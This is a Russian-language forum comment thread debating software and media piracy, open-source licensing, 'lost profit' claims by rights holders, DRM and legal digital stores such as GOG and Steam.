Я пишу под GPL3, это уже признак неслыханной смелости? :)
LORd_B
Под двойной лицензией было бы выгоднее, думаю.
FilimoniC
Возможно. Пока просто продаю «штучные» решения на основе GPL-продукта.
LORd_B
Вы только под GPL3 пишите?
FilimoniC
То, что я пишу в конторе, мне не принадлежит.
Права проданы изначально. За зарплату.
А то, что мое — да.
Aux
Пишущий софт программист более редкой явление, чем наемный кодер.
Так что работу он найдет всегда.
Не надо утопий.
dasty
Если у вас есть время после работы еще и софт писать — это хорошо

а у меня свидания, друзья, кино, секс
reflexing
Переходить на личности нехорошо. Не надеетесь же вы, что я вам буду доказывать, что у меня в жизни помимо всего этого есть еще и велоспорт?
Aux
чем старше человек, тем он меньше времени может тратить на программирование. в результате есть выбор — либо он работает на себя, либо работает на дядю
если он работает на себя, выберет ли он gpl?
Oblitus
О. Уже переход на возраст. Не стоит прикладывать свою неуспешность к другим людям.
Mezomish
Я говорил абстрактно.
Большая часть моего труда даже на работе распорстраняется под GPL или BSD
VolCh
Торвальдс вроде уже не мальчик…
namezys
Именно поэтому он пол жизни проработал на компанию патентного-тролля Трансмета. И делал глубоко закопирайченную работу.
Lux_In_Tenebris
И даже если… несколько лет назад бесплатный WordPress пытались купить за 220 мегабакса. И Мэтт не согласился. Так что… все хорошо в мире OpenSource, уж поверьте :)
Atrax
есть хорошее. но не все хорошо
FilimoniC
как и везде. будем вспоминать «сурового сибирского программиста» с его продуктом по начислению зарплаты или уже ну-его-нафиг?
Atrax
Идея простая, для отдельной личности информация должна быть открытой. Информация это культурный медиа-контент и технические и прочие познавательные источники информации. Этого очень хочется и нужно искать способы, чтобы так и было, но за это ничего не было создателям контента, в смысле создатели должны не смотря ни на что хорошо зарабатывать себе на жизнь.
Как это сделать? Для многих это и так уже почти работает: киностудии зарабатывают на кинотеатрах, певцы на концертах, кое-кто на рекламе… Кажется одни только писатели, которые пишут ради заработка, не имеют способа заработать в такой модели.
И еще вопрос с разработчиками мобильного и другого персонального софта. Но ПО, пожалуй, и не должно попадать в эту свободную категорию, ведь это не столько информация, сколько готовый инструмент.
namezys
не согласен про певцов и про кино
Atrax
Canonical Ltd. вон валит весь свой *интеллектуальный* труд на торренты. И что? Живут и процветают.

Ваш призыв валить *весь* труд на торренты непонятен. Торренты — средство обмена информацией. Выкопанной картошкой там не поделишься. На самом деле картошкой вообще не поделишься, её можно либо оставить себе, либо отдать.
namezys
У них бизнес-модель (кстати, а они вообще прибыль имеют?) не та, что может себе позволить одиночный разработчик без «финансовой подушки».
Atrax
P.S. Картошкой как раз поделишься. Я завтра посажу, приходите осенью, правда будет мелкой и т. п., если вообще не выкопают раньше, но факт остаётся фактом — у меня есть одна картошка, а осенью я с вами, может быть, поделюсь, свою одну картошку (пускай не ту же самую), не потеряв, и мне этого ничего практически стоить не будет.
namezys
> Ведь для того, чтобы купить булочку в супермаркете,
> мне тоже нужно отстоять длинную очередь и на кассе
> расплатиться деньгами.

Если вы украдете булочку — ее уже не будет в супермаркете. Если вы посмотрите на булочку и понюхаете ее — ничего с ней не случится.

Иисус накормил людей одной булкой хлеба. Копирование — не воровство.
Atrax
Это их личная проблема. Пусть улицы подметают. Будет дефицит контента — пользователи сами с песнями и плясками предложат денег заплатить. Пока что — наоборот.
namezys
А изнасилование — это воровство? Ведь, по сути вы воруете честь и здоровье человека?
А убийство — это воровство? Вы воруете жизнь у человека.
А т.к. нелегальное копирование по такой логике тоже воровство, то нелегальное копирование = воровство = изнасилование = убийство. И хоть тапком обзовите. Железная логика.
TheShock
Это нелегальное копирование.
namezys
Было, было такое преступление! Ну, может, не 1000, но лет 300 назад уже было. Вспомнить хотя бы известную историю про запрет копирования нот церковных гимнов. Когда Моцарт на слух скопировал, был большой скандал :)
Atrax
Да это я помню. Просто масштабы растут.
Ибо цена копирования падает.
asis
Ага. Просто «тупо запретить и всё» — не самый эффективный способ регулирования рынка, если уж говорить про бедных правообладателей с их с потолка взявшимся ощущением, что кто-то им должен денег за некую недополученную прибыль (т.е. за прибыль, которую они получили бы в мире, который никогда не мог бы существовать).
Atrax
Недополученная прибыль, конечно, есть. Находится она в головах людей, которые используют это словосочетание, чтобы убедить других людей, что они должны им денег, а также в головах людей, которые начинают верить, что и вправду кому-то что-то должны. Нигде больше такого понятия, разумеется, не существует — в разговорной речи, когда говорят о том, чтобы впарить за бабло то, что можно взять бесплатно, это называется «развод на деньги».

Если товар, который вы производите, можно взять бесплатно — производите другой товар, такой, который реально продать. Собственно, если рынок медии такой уж прям убыточный для производителей — кто им мешает заняться нефтью или газом?

Работающих моделей полно. Здесь в комментариях описаны только некоторые из них.
namezys
А если я не купил булочку в супермаркете, это ведь тоже недополученная прибыль? Меня оболгать вором и в тюрьму? Чушь собачья!

>Но я не знаю другой работающей модели, кроме этой. Пока не придумали

Враньё. Всё придумали. Но дело даже не в этом. Суть статьи вообще-то была в том, что пока скопировать и воспользоваться скопированным проще, это будут делать. Когда станет проще купить и не будет этого уродства с картинки, будут покупать. Примеров ведь навалом.
Atrax
Считаю, кстати, что нелицензионная выпечка хлеба у себя дома — прямой удар по хлебопекам!
binariti
А тех кто отказался от хлеба вообще за людей считать нельзя, у мукомолов упущенная выгода растет!
namezys
Вот вы распространяете свой код под LGPL, наверное долго выбирали лицензию, соответствующую тому, что хотите разрешить с вашим кодом делать, а что нет. И выбрали, заметьте, не самую либеральную. А я вот возьму ваш код и сделаю с ним что-нибудь, что LGPL не соответствует. Начну продавать в составе закрытого продукта, например. Или выпущу под своим именем. Согласитесь, что из «традиционных» экономических преступлений это больше похоже на воровство — я взял нечто, принадлежащее вам, и сделал с ним то, что вы мне не разрешали делать.

Хотя вообще «пиратство» ближе к нарушению неприкосновенности жилища, частной жизни, тайны переписки и т. п. Это не экономическое преступление, а преступление против личности, преступление против законных прав автора. И формально оно даже ближе к изнасилованию (изнасилование не считается «воровством» здоровья) или убийству, а не к воровству.

Просто как-то сложилось в обществе, что «пиратство» это как-бы экономическое преступление, что это только бесплатное (или за небольшую плату) использование того, за что автор (а чаще правообладатели) хотел бы получать деньги (большие деньги), хотя «нарушение авторских прав» понятие более широкое.
naryl
Последнее время перешёл на MIT+LGPL.
Согласитесь, что из «традиционных» экономических преступлений это больше похоже на воровство — я взял нечто, принадлежащее вам, и сделал с ним то, что вы мне не разрешали делать.

Не соглашусь. Вы нарушили лицензию. Грубо говоря, вы нарушили договор.

Из понятных обычным людям сравнение это, скорее, мы подписали с вами договор, скажем, о взаимувыручке. А вы взяли и не выручили меня.
VolCh
Выкладывая на торренты рип с диска или скачивая с торрентов пиратскую копию форума, вы точно так же «нарушаете договор», хотя договор и заключён не напрямую между вами и правообладателем, а при посредничестве государства в виде законов.

VolCh
А скачивая с торрентов?
fzn7
Государство считает, что тоже (хотя и сомнительно). А уж если не только качаешь, но и раздаёшь даже пока ты ещё пир, то однозначно.
diamant
Ну допустим. Я никогда не говорил, что использование нелицензионного контента — хорошо. Это закономерно. Но это не воровство, убийство или ещё что-то.
tmp0000
Извините, насчёт либеральности беру свои слова назад.

Не соглашусь. Вы нарушили лицензию. Грубо говоря, вы нарушили договор.
Это в случае, если я принял условия лицензионного договора. если не принимал, то и нарушить его не мог.
namezys
Специально для вас я написал в скобках, что это к делу не относится.

И даже если вы украдёте одну булочку, супермаркет этого не заметит, потому что себестоимость одной булочки очень мала, и сотню булочек всё равно приходится выбрасывать в конце дня, так как это товар, который можно продавать только в свежем виде.

Думайте о булочке не как о товаре, а как об услуге предоставляния вам булочки.
unxed
Если каждый украдет по булочке — магазин будет в убытке. Но если каждому можно будет нюхать булочку без ограничений, посещаемость магазина резко вырастет.
TheShock
Что магазину с посещаемости? Только натопчут :)

Или в вашем понимании «нюхать булочку» = «посмотреть трейлеры» или «скачать бесплатную демо-версию», а потом уже купить?
namezys
Именно. Нанюхаются булочек, а кто-то их приобретет, да еще и шоколадки раскупит.
TheShock
Не кажется ли вам, что это уже дело отдела маркетинга магазина — как они будут привлекать клиентов, давать бесплатно нюхать, или кормить по пятницам за полцены, или раздавать просроченные булочки бесплатно?

Ваша же интерпретация — я стащу сегодня одну булочку попробовать (всё равно магазин через пять минут закрывается и нераспроданные булочки выкинет), а если понравится, то завтра куплю булочку и шоколадку.
namezys
> Не кажется ли вам, что это уже дело отдела маркетинга
> магазина — как они будут привлекать клиентов,
> давать бесплатно нюхать, или кормить по пятницам
> за полцены, или раздавать просроченные булочки бесплатно?

Это их дело. Но пусть потом не жалуются, что ожидаемая прибыль от булочек не подтвердилась. И пусть не судятся с теми, кто захотел понюхать их булочки — они просто прошли мимо, и учуяли запах. Заметьте, они никого не били, не убивали, не насиловали и не грабили. Да что уж там, они даже не мусорили, и не разговаривали громко.

> Ваша же интерпретация — я стащу сегодня одну
> булочку попробовать (всё равно магазин через пять минут
> закрывается и нераспроданные булочки выкинет), а если
> понравится, то завтра куплю булочку и шоколадку.

Нет.

Моя интерпретация такова. Сначала я понюхаю булочку. Если она действительно пахнет вкусно, я ее куплю.
unxed
ну ведь есть трейлер для этого. демо.
namezys
Как вы себе это представляете? Допустим, моя бабушка захотела послушать какого-нибудь Евгения Осина. Существует ли превью его песен? Откуда ей знать о том, кто является правообладателем его второго альбома? Думаете, когда песни попадут к ней в проигрыватель (каким-либо способом, правдами и неправдами), она хоть на секунду задумается об авторских правах? Это просто смешно.

В этом и кроется вся проблема. Каталоги материалов с авторскими правами — это не просто бардак, это свалка. И об этом говорили уже неоднократно. Тут даже обсуждать нечего. А если уж говорить о законе — то напоминает обыкновенных лысых крышевателей: «я не знаю чё почём, но ты мне должен бабла, много и немедленно, мне босс так сказал, и мне решительно похер, плати давай».

Хотите делать по закону — наводите порядок и продумывайте все мелочи. Но это нужно не одну сотню лет потратить, а копирастам, как известно, надо здесь и сейчас: их век слишком короток.
unxed
Заметьте, правообладатели не пытаются привлекать к ответственности тех, кто «понюхал проходя мимо» (посмотрел фильм в гостях, например), а только тех, кто вопреки правилам магазина взял булочку, понюхал, может дал другим понюхать, а потом положил на место.
namezys
Что? Истории, где людям впаривают миллионные штрафы за то, что те скачали десяток mp3-шек — не редкость. Пока только в США.
unxed
Есть хоть одна история за то, что слушали то, что скачал и включил играть кто-то другой?
namezys
Не знаю. Видно только, что гайки постоянно закручиваются все сильнее.
dime
«Понюхал» == «Посмотрел трейлер».

«Посмотрел фильм» — это уже «Съел булочку».
Да, он могла быть чёрствой или невкусной или подгорелой, но вы её съели.
Вы употребили товар. Да, в магазине его не стало меньше — такова специфика цифрового контента, но вы его «съели».
vk2
Понюхал (посмотрел трейлер) — вроде ничего. Купил булочку (купил диск). Откусил (начал смотреть, посмотрел 15 минут) — блин, фигня какая-то. Откусил ещё раз (посмотрел полчаса) — ну блин, точно фигня! Непропечёная внутри и подгорелая снаружи (сюжет полное говно, актёры играют паршиво). Пойду и верну в магазин (упс… такое прокатит только с булочкой, а с фильмом — хрен).
darkfrei
Вы все непонравившиеся — не испорченные, типа диск поцарапаный — а именно просто не понравившиеся вам продукты в магазин обратно сдаёте?

Мне просто лень было бы тащиться ради одной булочки и требовать деньги — я просто не стану больше покупать булочки этого пекаря, а в следующий раз, к другим булочкам, принюхиваться буду внимательней, смотреть, не подгорелая ли, почитаю журнал с обзором последних булочек, и буду спрашивать у попробовавших её знакомых — понравилась ли, стоит ли есть :)
VolCh
Дело не во мне как таковом, а в правовых аспектах, касающихся описанной ситуации.
В случае булочки я скорее всего никуда не поеду, а поступлю так же, как и вы, но я, однако, имею на это право, равно как и имею возможность этим правом воспользоваться. В случае фильма этого права нет.
Это как раз тот случай, когда правообладатели упирают на то, что «ну это же не колбаса, это же нематериальный товар, надо же понимать их различие». О чём они, впрочем, резко забывают при подсчёте «ущерба», который им «наносят» те, кто качает из торрентов.
TheShock
Мне тоже не нравится сложившаяся система дистрибуции фильмов на дисках. Но не из-за того, что за них просят денег, а из-за зональных ограничений, кучи угроз перед началом фильма, невозможности прокрутить некоторые трейлеры, отсутствия на дисках Blu-Ray всех существующих на данный момент дубляжей, запрета на копирования фильма с двд на ипад и т.п.

Но это никак не отменяет того факта, что издатель фильма вправе требовать за него любые деньги.

И если меня не устраивает цена и я могу подождать, я покупаю диск не сразу после выхода, а когда-нибудь потом.
Если фильм нужен мне срочно — через два часа самолёт, например, то я куплю его в iTunes, пусть и дороже, чем на диске.

К счастью, сейчас появляется всё больше предложений — это и видео on-demand от разных сервисов в разных вариантах, и dvd-flat.

Ну и про булочку, которую нельзя сдать в магазин — не все же товары можно сдать, если они вам не понравились. Точно не уверен, но, вроде бы, нижнее бельё, диски с софтом и медикаменты обратно не принимают.

Виртуальные товары и услуги обывателю и правообладателям пока непривычны, терминология не устоялась, оттого и проблемы.
diamant
А вы фильмы с нижним бельем сравниваете или с медикаментами? :)
unst
> Иисус накормил людей одной булкой хлеба.
Вот пекарь то наверное растроился…
VolCh
Пекарь был рад. Поскольку он думал не только о себе, но и других людях. И муки было мало, поэтому он испек всего одну булочку.
TheShock
Конечно копия — из, которой вырезано все коприрастское и рекламное дерьмо.
VolCh
Честно говоря не встречал книг или программ, из которых надо было бы вырезать копирастское дерьмо.
Наверное мне везло.
А реклама в программах мне встречалась только в бесплатных.

Я согласен, что есть продукты, которые в пиратском исполнении становятся лучше. Фильмы или комп. игрушки… Но их все же меньшинство. А большая часть продукции пиратится без изменений.
diamant
когда грабишь двд проще отрезать лишние несколько мегабайт ненужной рекламы
tmp0000
Реклама на DVD это вообще символ неуемной жадности издателей.
Я уже и так заплатил деньги за диск. Так какого фига они пытаются еще поиметь денег, пихая туда рекламу?

Тут правильный на мой взгляд тренд есть на рынке мобильных приложений. Когда одно и то же приложение зачастую доступно в двух видах
— бесплатное с рекламой
— платное без рекламы.
Остальным стоило бы брать это за образец
diamant
золотые слова, двд-производители задолбали: если я включаю мультик, я блин хочу мультик, а не рекламу мультика, который блин уже вышел два года назад
и ещё, я блин хочу, иметь возможность копировать мультики с диска на диск без использования всяких хаков, раз уж двд-производителю религия не позволяет сделать диск реплейсмент програм
tmp0000
Кстати о терминологии.
Копирасты радостно говорят о «воровстве», но «грабить» это скорее разбой :)
diamant
Не, вряд ли.

Кража — это тайное хищение чужого имущетсва.
Грабёж — это открытое хищение либо без применения насилия, либо с применением «лёгкого» насилия, не опасного для жизни и здоровья потерпевшего.
Разбой — это открытое хищение с применением насилия, опасного для жизни или здоровья.

В общих чертах где-то так.
tmp0000
Покупка лицензионного Windows вместе с ноутбуком сопровождается кучей ненужного софта на нем.
Этот софт нужно обязательно активировать (если demo, то в последствии купить), попробовать и согласится с кучей соглашений. А мне всего лишь нужен был ноут + ос, зачем мне этот хлам?
namezys
Всё же покупка ноутбука сопровождается кучей нужного и ненужного софта на нём, включая Windows. Даже OEM Windows продавалсь как дополнение к мышке, а не наоборот.
tmp0000
Сейчас, когда все уходит в инет, такие ненужные вставки делать все сложнее и сложнее.

В iTunes их нет
VolCh
Скорее даже так:
tmp0000
VolCh
tmp0000
Недополученная прибыль так же эфимерна, как и лохнесское чудовище.
diamant
Ну хорошо, давайте так. Пиратить будут всё больше и больше, и бедным производителям контента будет нечего кушать. Тогда они уйдут подметать улицы, а потребители через неделю взвоют от дефецита медиапродукции, скинутся и заплатят таки денег, чтобы контент производили.

Это рынок, детка :)

Mezomish
Кому он скинится? Кто будет это собирать? Лейблы? или назовете их сборщиками. Они по тихоньку опять начнут себе процент брать. И все повторится.
diamant
Ну да, разумеется! И снова начнут пиратить. Говорю же — рынок.
Mezomish
Система должна работать без сбоев. Иначе это очень неэфективный рынок. Такой уход на улицу будет стоит лет 10-20 отсутсвия нового контента
diamant
Покажите мне рынок без сбоев. Ну, скажем, без колебаний и саморегулирования.
Atrax
Ну не кардинально же?
Пиратство и Копирайторы борятся. Последних я не люблю за «наглость». Но сейчас они тоже выходят на более или менее разумные вещи
futureader
Разумеется, мой пример несколько утрирован. Речь о том, что сейчас рынок чудовищно перенасыщен медиапродукцией, по большей частью — дурного качества и вкуса. Не только копирование подешевело — подешевело и производство. Теперь можно в цифре «вытянуть» певца без голоса, отрендерить спецэффекты на компах вместо сложны постановочных трюков, и так далее. Рынок просто завален медией — при этом производители этого хлама уверены, что им должны за него платить столько же, сколько платили их дедушкам за продукцию совершенно другого уровня. Рынок же намекает им, что платить будут только самые ленивые.

Представим себе деревню на морском берегу, где столетиями основным промыслом был поиск жемчуга. Установилась определенная цена на разные жемчужины, рынок стабилен. И вдруг по неведомой причине жемчуг начинают находить прямо под ногами, даром! Правда, худшего качества но большинству потребителей наплевать. Опытные искатели жемчуга негодуют и требуют законодательно запретить его сбор всеми, кроме них самих. А обычным людям пофигу на этот запрет — протянул руку и взял, ну поймают одного из 1000, кого это пугает?
tmp0000
Пипл хавает — в том то и проблема.

Да и цена производства тех же фильмов только выросла.
graf_oxigen
Знаете, после кризисов я уже вообще не верю, что сами понятия «рынок» и «стабильность» хоть чтото имеют общего…
Orion
глядя на особняки «авторов»,«продюсеров» и т.п., на их автомобили, украшения и образ жизни вообще какие либо их рассуждения о «будет нечего кушать» и «пойду мести дороги» наводят на мысли, что кое кто лицемерит настолько, что его стоило бы окунуть с головой в реальную бедность. для, т.с., приведения в чувства…
graf_oxigen
По сравнению с нефтяниками, торговцами продуктами, медикаментами и т.п. эти авторы и продюсеры просто нищие.
unconnected
Нравится мне это слово. Недополученная прибыль. Звучит.

Интересно, сколько я недополучаю когда трачу свое время (750 рублей в час) на процесс покупки, установки, попытки заставить работать, просмотр рекламных вставок и т.п.
graf_oxigen
Интерестно, а можно под предлогом «недополученной прибыли», скажем, обвинить учителя срезавшего будущего специалиста на экзамене?
unconnected
Нельзя. Ведь неизвестно, уменьшило ли это вашу прибыль или наоборот увеличило.

Человек пришел устраиваться на электронный завод. Проверили: гениально разбирается во всех возможных устройствах. Кадровик предлагает посетителю написать заявление о приеме на работу. «Не умею, — говорит тот, — я только на клавиатуре могу». Визитера выставили за дверь. Через несколько лет в Нью-Йорке к ювелирному магазину «Тиффани» подъезжает роскошный лимузин и оттуда выходит мужчина с прижимающейся к нему кинозвездой. Звезда выбирает колье за сто тысяч долларов, мужчина ставит на прилавок пластиковый пакет с деньгами и начинает отсчитывать купюры — по одной. Вежливый менеджер предлагает: «Выпишите чек на всю сумму, так ведь проще!». «Эх, — отвечает мужчина, — если бы я умел писать, работал бы сейчас у себя на родине на заводе «Электронмаш»!
Atrax
Тем не менее, она есть.
Хотя как её подсчитать — да, тут куча лукавства.
Mezomish
Возможно есть, а возможно нет. Факт один — бесплатно скачивают, а вот заплатил бы хоть один человек хоть копейку — это уже не факт.
ArcKain
Ну, хехе… это же две стороны одной медали.

Если кто говорит, что если у него скачали нахаляву 9000 копий диска, значит, он потерял 9000*цена денег, мы ему не верим.

Но считать, что количество реальных покупателей равно нулю — это та же самая история с обратной стороны. Невероятен такой сценарий.
VolCh
Куда более вероятен, чем первый. Например, напишу я супер-пупер калькулятор с блэкджеком и шлюхами и буду продавать его за 10 000$ по модели shareware c ограниченным сроком полнофункционального использования. Сомневаюсь, что будет хоть одна покупка.
namezys
Тут пора пересмотреть как называлось то, чем занимались пираты которые на кораблях. Они грабили, а не пиратствовали.
unxed
adsinger
А невозможность, к примеру, сделать перевод без согласования с правообладателем лишает заработка переводчиков. Упущенную выгоду можно найти где угодно, это вообще миф, %username%!
TheShock
>Кугимия

Действительно, послушать авторское урусай! урусай! урусай! — это то, ради чего стоит нарушать УК.
namezys
Вы полагаете, что всё же УК, а не ГК?
unxed
Я, кстати, не понял, зачем она тут приведена в пример, так как большинство аниме с нею в России легально вообще не изданы (о нарушении УК речь в таком случае не идёт) поэтому единственный способ послушать авторское «урусай!» — это скачать. Ну или посмотреть какую-нибудь Zero no Tsukaima на crunchyroll (у них куплена мировая лицензия) если зритель знает английский.

P.S. Как там прогресс с AC100?
namezys
>в России легально вообще не изданы (о нарушении УК речь в таком случае не идёт)

Простите, как это? Где в 146-й статье что-то об издании или неиздании? Если не издана, это значит (утрируя), что законно использовать нельзя и любое использование будет незаконным, а следовательно попадающее под УК (при наличии других признаков).
unxed
Для того, чтобы осудить по 146-й статье нужно доказать, что чьи-то права были нарушены. Когда правообладатель зарубежный — это не так-то просто, тем более когда речь идёт об аниме. Например полнометражку «Shinseiki Evangelion Gekijouban: Shi to Shinsei» в России так и не издали, потому что правообладателей (чтобы лицензировать и получить исходные материалы (звуковую дорожку без голоса и видео на бетакамах) для издания) так и не нашли. Так что по крайней мере аниме, если оно не издано в России, можно спокойно качать.
namezys
По-моему несколько разные вещи «качать спокойно, зная что не нарушаешь закон» и «качать спокойно, зная что нарушаешь, но нарушение доказать очень сложно».
unxed
Слишком утрируете. В оригинальной звуковой дорожке аниме гораздо больше интересного. И при соблюдении законов не надо доходить до маразма, как это делают чиновники — это всё равно, что переводить старушку через дорогу даже против её воли.
namezys
интересно почему разработчики Open Source не плачут, что им не платят деньги за работу, которую они делают по вечерам в стороне от основной работы.
unxed
Ну вот не знаю, я делаю проекты в первую очередь для людей. Да, программирую я для удовольствия, но итоговый результат для людей-непрограммистов. Да и взгляните на такие шедевры, как Clementine, UMPlayer/SMPlayer, Firefox. Они удобны, очень удобны.
namezys
А разае iTunes и Safari open source?
Evengard
Не знаю, что вы удобного нашли в Safari. У меня на маке он хоть и, как полагается, есть, но реально используются только FF и Chrome. Тут уже дело предпочтения, да и доля FF в мире браузеров показывает, что как бы да, людям удобно!
skaut8
Раз Вы упоминаете софт Apple, то наверное пользуете Mac. И неужели не знаете, что ядро и базовая система Mac OS X является Open Source (opensource.apple.com). Так же, как и WebKit (который пользует Safari и iTunes). Ваши любимые проприетарные продукты используют Open Source как основу. Но это, конечно, к топику не относится.
asis
В любом случае, Ваше утверждение о том, что вы не пользуетесь Open Source неверно. Пользуетесь, пусть даже косвенно.
valkoivo
да я и на прямую пользуюсь.
Только вот большая часть этого софта писана наемными программистами в тех фирмах, которые получают деньги косвенно. С софтом это работает.
futureader
То есть от того, что продукт свободен, автор не голодает, что и требовалось доказать.
roman_tik
а автор музыки?
rg_software
а где там модель open source, когда автор зарабатывает на поддержке
VolCh
Лицензия CC-BY, требует только указания авторства, при распространении и другом использовании.
Вы можете легально скачать и распространять музыку, при этом вы не нарушаете ничьих прав. Автору же такая форма распространения не мешает зарабатывать на этой же музыке.
Или для вас Open Source значит отказ от заработка на продукте? Какое‑то странное представление об Open Source у вас.
rg_software
Для меня означает. Я умею худо-бедно писать софт, но не умею его поддерживать, не умею рисовать дизайны к онлайн-сервисам, не умею администрировать сервера и т. п. На донат надежды мало. Как делая то, что я умею и люблю приносить пользу людям, как не продавая им результат своего труда?
VolCh
Я вообще говорил про модель «получать прибыль на поддержке» — это модель применима только для софта.
namezys
и тратить заработанные деньги чтоб выпустить диски…
интересно, почему группа должна оплачивать двойную рекламу?
darkfrei
ладно. записывать.

для распространения музыки ее надо:
* разрекламировать
* записать
unxed
Вообще я одним знакомым советовал выбирать именно свободную лицензию для диска. Надеюсь, они последуют моему совету.

В России они все равно не заработают на этом, да и не цель это у них
muromec
>Это одна из причин, почему я не пользуюсь Open Source
>да я и на прямую пользуюсь.

так пользуетесь или нет, определитесь пожалуйста…
Mithgol
Не надо обобщать. Вирусы как массовое явление существует только в одной очень известной проприетарной операционной системе. Отмахнетесь и спишите на исключение? — или все-таки задумаетесь, что обобщать «до целого» некорректно?
RussianNeuroMancer
А я всегда считал, что главное достоинство операционной системы это все-таки надежность. Да и про удобство отдельный разговор — я гружусь из убунту в семерку только для того, чтобы поиграться. Но это уже совсем офтоп.
VolCh
Вы ошибаетесь. Вирусы появились именно в DOS.
RussianNeuroMancer
UNIX — это не отсуствие, а единственно существующее решение для надежных систем.
VolCh
посмотрите на телефоны (не смотрфона). Они надежны
burjui
Да, а ведь и правда
bogolt
>это к тому, что open source в разы проигрывает проприетарным продуктам

Угу, смотрим на рыночные доли Safari и Firefox и с уверенностью заявляем, что «open source в разы проигрывает проприетарным продуктам».
namezys
Смотрел на Сафари под виндой — не понравился.
Robotex
Я смотрел на IE под виндой, Safari ещё хорош.
namezys
Я б посмотрел под линуксом, на эпл не портировала, а было интересно…
Robotex
На вкус и цвет. Лично я iTunes и QuickTime на дух не переношу, настолько они мне кажутся нелогичными, тормознутыми и раздражающими.
Более того, я могу с лёту назвать еще десяток свои знакомых, которые придерживаются иной точки зрения.

Не холивара ради, а исключительно справедливости для. Все-таки не от модели распространения удобство зависит.
RostislavDzinko
от модели создания зависит
namezys
>Это одна из причин, почему я не пользуюсь Open Source — он сделан для программиста, кто его делал, или для заказчика, а не дла пользователя

VLC, Firefox, MPlayer, Miranda, Blender — это всё «для программистов»?
namezys
1. VLC — для программистов? Сходите посмотрите на количество скачиваний — это всё программисты? Форумы ради интереса почитайте — там сплошь программисты?

2. Извините, забыл добавить «mplayer и его производные».

3. А я ни разу не видел рыбу-молот. И что теперь, они не существуют?
До появления квипа (если вы, конечно, застали эти времена) каждая блондинка сидела именно на Миранде. Да и сейчас многие продолжают.
facepalmLite
Потому что это — миф. Крупные проекты давно обрасли фондами, и основные разработчики получают за свою работу деньги. То, что делается по вечерам, делается для удовольствия.
namezys
Сотни и тысячи любителей аниме посещают сайт AnimeTake, сегодня утром прилёгший по неизвестной причине
Няторрентс — наше всё. Там равки появляются раньше, чем в других местах :3
facepalmLite
Кто умеет слушать по-японски, тому, несомненно, RAW-файлы пойдут на пользу.
namezys
Да зачем оправдывать себя, если производители не хотят развивать новые линии дистрибуции, то это не наша с вами проблема. Они могут сколько угодно топтаться на месте и печатать диски, но покупать их будут единицы. А было бы как просто, в час выхода серии зашел на sho[dot]com, заплатил карточкой за серию и скачал с оф трекера с русскими субтитрами (уж наладить перевод за мои деньги они могут себе позволить) и всё — все счастливы. Но этого никогда не будет, потому что производителям контента выгодно продавать его много раз телеканалам, а тем в свою очередь своей аудитории за рекламу или абонентскую плату (причем в европе никто не парится с переводом показывают с титрами и хоть смотреть можно), вот как бы и все круг замкнулся.
SADM
Сейчас все идет к тому, что классическое телевиденье умирает. так что все нормально будет
namezys
У многих и привода-то нет.
SADM
С этим определенно надо что-то делать. На досуге подумаю как можно организовать законное распространение качественного лицензионного контента. Так что ждите еще одну статью на эту тему ;)
namezys
В свете картинки в топике хотелось бы упомянуть замечательный сайт GOG.com (транно что про него никто не вспомнил, ведь уже проскакивала на хабре инфа о нём).
Он предоставляет (в основном старые) игры за бросовые цены для всех регионов, без каких-либо DRM и оптимизированные под современные системы и с кучей бонусных материалов, таких как арт, саундтреки, обои, книжки, мануалы — всё в цифровом виде.
Это как раз тот лицензионный контент, за который я готов платить (что вобщем-то охотно и делаю).
И это несмотря на то, что те же игры лежат в интернете повсюду.

Плюс сейчас у них выходит новая игра (скорее в виде исключения) Ведьмак 2, и даже в этом случае, они не изменяю своим принципам (DRM-Free, fair price everywhere, unlimited re-downloads/installs) — и это параллельно с другими «защищёнными» продажами на обычный DVD или Steam (не знаю точно, кто ещё будет его выпускать).

Ну а в большинстве других случаев, чтобы установить игру, тоже (почти как на картинке) приходиться «любоваться» на всякие там защиты, которые призваны мешать пиратам, а на деле мешают самому покупателю.
SADM
Спасибо вам за этот сайт. В закладки.
VolCh
Правовладельцы еще любят плакать о том, что %произведение% было нелегально скачано и просмотрено/прослушано N раз, в итоге их недополученная прибыль составляет N*цена, но совершенно забывают, что если бы у абсолютного большинства не было бы возможности просто скачать, а был выбор только купить или не смотреть/слушать, то они выбрали бы именно последний вариант, и цифра N была бы во много раз ниже, недополученная прибыль, соответственно, тоже.

Да, потребитель голосует рублем, смиритесь. Делайте качественные вещи и соблюдайте разумную ценовую политику и будет у вас законный хороший доход.

Пример из жизни, когда вышел Аватар, я посмотрел его в неплохом по качеству кинотеатре в 3Д. Чего мне все равно показалось мало, и друзьям его рекомендовал и еще раз купил билеты на тот же фильм, но на этот раз в IMAX. Теперь возьмем что-нибудь из творений наших копирастов, типа Утомленных солнцем2, на который насильно затаскивают. И нефиг после такого плакаться про недополученную прибыль, работать надо.
namezys
Во многих топиках, в которых есть слово «авторское право», «правообладатели», «лицензия», я узнаю все больше и больше мест, где можно забыть о словах «авторское право», «правообладатели», «лицензия».

Это нормально?
SADM
Вполне.
namezys
Подписываюсь под каждым словом в этом посте.

Многие люди, и я вхожу в их число, готовы платить (и платят) за экономию своего времени, удобство и качество предоставления услуг. Именно поэтому магазин видеоигр Steam пользуется бешеной популярностью: они дают пользователю возможность купить то, что он хочет, тогда, когда он хочет, и играть на любом компьютере без надоедливой защиты от копирования и ввода бесконечных серийников к каждой программе.

Steam «выстрелил», потому что он проще и удобнее, чем торренты, и мне не стыдно за мою коллекцию игрушек.

Так где же этот прекрасный видеомагазин мечты, в котором я смогу купить показываемый прямо сейчас онгоинг, указать, что звуковая дорожка должна быть на японском, титры на английском, и в два клика настроить скачивание уже вышедших и всех новых (по мере их появления) серий ко мне на компьютер? А нет его.

И речь, заметьте, не идет о завышенной стоимости — такой услуги в природе вообще нет. А торренты почему-то предоставляют именно эту самую штуку, которую я описал выше (ну, разве что новые серии нужно самому находить).
SADM
Так где же этот прекрасный видеомагазин мечты


Да делаем мы, делаем :)
namezys
дааа, там, конечно, есть аниме сериалы… :-P
SADM
Соглашусь про перевод. Порой хочется помимо оригинала и дубляжа иметь также другие возможные переводы. Порой любительские оказываются даже отчасти лучше, но не в этом суть. Проблема не обошла стороной видео игры. Взять например лицензионные игры на Playstation 2. Некоторые из них вообще вышли на Российский рынок без перевода описания на обложке, что там говорить о самом контенте, а вот стоит зайти на те же торенты и сразу же находится версия игры с текстовым или звуковым переводом и пропатченная, в общем все как надо. То же самое можно сказать про xbox 360.
namezys
Когда я увидел «ужé» с проставленным ударением, я ощутил, что автор считает меня, своего читателя, за идиота или первоклашку. Потом сообразил — это же Мицгол!
